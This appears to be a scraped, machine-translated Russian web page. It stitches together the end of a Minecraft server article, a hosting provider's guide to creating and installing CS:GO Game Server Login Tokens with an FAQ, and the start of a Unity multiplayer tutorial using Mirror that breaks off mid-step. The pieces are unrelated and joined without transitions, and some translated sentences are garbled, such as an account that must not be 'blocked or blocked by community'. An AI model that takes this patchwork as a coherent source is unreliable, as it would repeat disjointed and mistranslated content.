Если вы не знаете, как изменить записи DNS, прочтите эту справочную статью, чтобы добавить запись A.

Дополнительные ресурсы для управления сервером Minecraft

Мы только прикоснулись к созданию собственного сервера Minecraft. Вот несколько ресурсов, которые помогут глубже изучить настройку, управление и продвижение вашего сервера:

В качестве любезности мы предоставляем информацию об использовании определенных сторонних продуктов, но мы не одобряем и не поддерживаем напрямую сторонние продукты и не несем ответственности за функции или надежность таких продуктов.Знаки и логотипы третьих лиц являются зарегистрированными товарными знаками соответствующих владельцев. Все права защищены.

Изображение: Pixabay

.

серверов CS: GO и TeamSpeak для команд и сообществ

Фон

Valve недавно внесла изменения в работу своих серверов CS: GO. Чтобы запустить свой сервер CS: GO, вам понадобится токен входа в игровой сервер (GSLT), который будет зарегистрирован на вашем сервере. На момент написания, по данным Valve, это изменение, как ожидается, вступит в силу где-то на следующей неделе.

Сначала это может показаться громоздким, но сделать это довольно просто. Ниже мы расскажем, как это сделать, шаг за шагом.

Одним из преимуществ использования GSLT является то, что люди, добавляющие ваш сервер в избранное, по-прежнему смогут найти ваш сервер и подключиться к нему, даже если вы измените хостинг-провайдера и / или IP / порт своего сервера.Раньше это было невозможно.

Внизу этого поста будет FAQ с некоторыми из наиболее распространенных вопросов, касающихся GSLT, и ответами на них.

Перейти на страницу создания GSLT

Вы можете создать токен для своих игровых серверов, перейдя на официальную страницу токенов входа в Steam на игровом сервере Valve:

http://steamcommunity.com/dev/managegameservers

Создайте свой токен

Чтобы создать токен, вам нужно заполнить два поля внизу страницы в разделе «Создать новую учетную запись игрового сервера»:

Идентификатор приложения: Введите идентификатор игры, для которой вы хотите создать токен.В данном случае 730 для CS: GO.

Заметка: Введите имя вашего нового токена. Убедитесь, что это что-то, что вы помните, чтобы знать, для какого сервера он предназначен. Например, это может быть то же самое, что и имя хоста вашего сервера.

Получите идентификатор вашего вновь созданного токена

После того, как вы нажмете «Создать», появится ваш «Токен входа». Просто скопируйте строку, она нам понадобится на следующем шаге.

Установка токена (при использовании DatHost.net)

Если вы арендуете сервер CS: GO у DatHost.net, есть несколько способов добавить токен:

  1. При первом запуске сервера вам будет предложено ввести токен, если вы еще не установили его. Просто вставьте токен в поле ввода и сохраните.
  2. Нажмите «Изменить» на своем сервере, перейдите на вкладку «Дополнительные настройки», найдите поле «Токен входа на игровой сервер Steam» и вставьте этот токен в это поле. Сохраните изменения и запустите / перезагрузите сервер.
  3. Установите токен через наш API. Это предназначено только для пользователей со знаниями кодирования, но может быть очень полезно, если вы хотите обновить токен программно или часто необходимо повторно использовать токен для разных экземпляров сервера.

Установка токена (собственный сервер или другой провайдер)

GSLT можно зарегистрировать на вашем сервере (ах) с помощью команды sv_setsteamaccount либо в autoexec.cfg, либо из + exec в строке запуска сервера.

Код:

sv_setsteamaccount

Не устанавливайте эту команду в файле server.cfg, так как она выполняется слишком поздно для регистрации токена, и ваш сервер не может войти в систему.

Вы также можете использовать его непосредственно в командной строке запуска вашего сервера, добавив к нему префикс + (+ sv_setsteamaccount ).

FAQ

Зачем нужны GSLT?

Чтобы полностью понять причины GSLT, нам нужно вернуться к июлю, ранее в этом году. Valve объявила, что запуск определенных плагинов приведет к попаданию вашего сервера в черный список, то есть он не сможет подключиться к главным серверам, и люди не смогут подключиться к серверу.

Это создало множество проблем для поставщиков игровых серверов, крупных сообществ и всех, кто предоставляет настраиваемые серверы третьим лицам, поскольку запреты распространялись по IP, а это означало, что вся машина могла быть заблокирована из-за одного злонамеренного или неосведомленного пользователя.

Чтобы решить эту проблему, Valve переносит запрет на уровень учетной записи, а не на уровень IP, что означает, что конечный пользователь всегда несет ответственность за то, что он запускает на своем сервере. Конечно, поставщики игровых серверов и т.п. по-прежнему несут ответственность за ознакомление своих пользователей с этими политиками, поскольку некоторые из них могут ошибочно загружать плагины из черного списка.

Дополнительным преимуществом является то, что люди, добавляющие ваш сервер в избранное, по-прежнему смогут найти ваш сервер и подключиться к нему, даже если вы измените хостинг-провайдера и / или IP / порт своего сервера.Раньше это было невозможно.

Если один из моих токенов заблокирован / занесен в черный список, будут ли заблокированы все токены?

Да, все токены в вашей учетной записи будут занесены в черный список, если на одном из ваших серверов (токенов) будет обнаружен плагин из черного списка. Перед запуском серверов обязательно ознакомьтесь с политиками плагинов Valve, чтобы с вашими токенами не случилось ничего плохого.

Если мои GSLT забанят за запуск плагина из черного списка, будет ли моя учетная запись Steam заблокирована сообществом и / или VAC?

Пока никто не знает, что будет с самим Steam-аккаунтом.Скорее всего, это не будет заблокировано VAC, но требование Valve о том, чтобы любой, кто создает GSLT, не был заблокирован сообществом, вы можете быть заблокированы сообществом за запуск плагинов из черного списка.

Могу ли я использовать один и тот же GSLT для нескольких серверов?

Нет. Вы должны создать уникальный GSLT для каждого одновременно работающего сервера.

Могу ли я повторно использовать GSLT?

Да, вы можете добавить свой GSLT на новый сервер, просто невозможно одновременно запустить два сервера с одним и тем же GSLT.

Мне все еще нужен ключ Steam WebAPI для размещения карт мастерской?

К сожалению, несмотря на регистрацию GSLT на вашем сервере, серверам CS: GO по-прежнему потребуется ключ Steam WebAPI для размещения карт из Мастерской.

Повлияет ли это также на Team Fortress 2?

На данный момент не было сделано официального подтверждения того, что для серверов TF2 также потребуется GSLT, но они их поддерживают, так что это не дикая догадка, что это произойдет.

Мой сервер теряет связь с зарегистрированной учетной записью Steam

Не используйте один и тот же GSLT для нескольких серверов. Когда сервер запускается с определенным GSLT, он отключит все другие серверы, на которых уже запущен тот же GSLT. Вам необходимо создать уникальный GSLT для каждого сервера.

Есть ли ограничение на количество GSLT в моей учетной записи?

Да, на вашем счету может быть не более 1000 GSLT.

Каковы требования к моей учетной записи для создания GSLT?

  1. Ваша учетная запись Steam не должна быть заблокирована или заблокирована сообществом.
  2. Ваш аккаунт Steam не должен быть ограничен.
  3. У вашей учетной записи Steam должен быть соответствующий зарегистрированный телефон.
  4. Ваша учетная запись Steam должна владеть игрой, для которой вы создаете GSLT.
  5. В вашем аккаунте Steam не может быть более 1000 токенов.

Могу ли я запускать серверы без GSLT?

Нет, вам нужен GSLT для запуска вашего сервера CS: GO.

.

Как создать многопользовательскую игру в Unity — GameDev Academy

В этом руководстве мы собираемся создать простую демонстрацию, чтобы узнать, как использовать многопользовательские функции Unity. В нашей игре будет одна сцена, в которой мы будем реализовывать многопользовательский космический шутер. В нашей демонстрации несколько игроков смогут присоединиться к одной игре, чтобы стрелять во врагов, которые будут появляться случайным образом.

Для того, чтобы следовать этому руководству, вы должны быть знакомы со следующими концепциями:

  • Программирование на C #
  • Использование редактора Unity, например, импорт ресурсов, создание префабов и добавление компонентов

Мы будем использовать актив, известный как Mirror.Это расширение сетевой системы Unity по умолчанию, добавляющее новые функции и исправляющее большое количество ошибок и проблем.

Создание проекта и импорт ресурсов

Перед тем, как начать читать учебник, вам необходимо создать новый проект Unity и импортировать все спрайты, доступные в исходном коде. Для этого создайте папку под названием Sprites и скопируйте все спрайты в эту папку. Unity Inspector автоматически импортирует их в ваш проект.

Однако некоторые из этих спрайтов находятся в таблицах спрайтов, например, таблицы спрайтов врагов, и их необходимо разрезать.Для этого нам нужно установить Sprite Mode как Multiple и открыть редактор Sprite.

Importing sprite assets. Importing sprite assets.

В редакторе спрайтов (показано ниже) вам нужно открыть меню фрагментов и щелкнуть кнопку «Срез», выбрав автоматический тип среза. Наконец, перед закрытием нажмите «Применить».

Unity sprite editor.

Нам также необходимо импортировать актив Mirror. Перейдите в Asset Store (Окно > Asset Store ) и загрузите «Зеркало».

Downloading Mirror from the Asset Store. Downloading Mirror from the Asset Store.

Файлы исходного кода

Вы можете скачать файлы исходного кода руководства здесь.

Не упустите возможность! Предложение заканчивается через
  • Доступ ко всем 200+ курсам
  • Новые курсы добавляются ежемесячно
  • Отменить в любое время
  • Сертификаты об окончании

Фоновый холст

Первое, что мы собираемся сделать, это создать фоновый холст чтобы показать фоновое изображение.

Мы можем сделать это, создав новое изображение в иерархии, и оно автоматически создаст новый холст (переименуйте его в BackgroundCanvas).

В BackgroundCanvas нам нужно установить его режим рендеринга на Screen Space — Camera (не забудьте прикрепить к нему свою основную камеру). Затем мы собираемся установить его режим масштабирования пользовательского интерфейса на масштабирование с размером экрана. Таким образом холст будет отображаться на заднем плане, а не на фоне других объектов.

Creating the background canvas game object. Creating the background canvas game object.

В BackgroundImage нам нужно только установить исходное изображение, которое будет пространственным.

Creating the background image with Unity Creating the background image with Unity

Попробуйте запустить игру сейчас, и вы должны увидеть космический фон в игре.

Background star image. Background star image.

Network Manager

Чтобы иметь многопользовательскую игру, нам нужен GameObject с компонентами NetworkManager и NetworkManagerHUD, поэтому давайте создадим его.

Network manager using Unity Network manager using Unity

Этот объект будет отвечать за управление подключением различных клиентов в игре и синхронизацию игровых объектов между всеми клиентами. HUD Network Manager показывает простой HUD, с помощью которого игроки могут подключиться к игре.

Например, если вы сейчас играете в игру, вы должны увидеть следующий экран:

.

Оставьте комментарий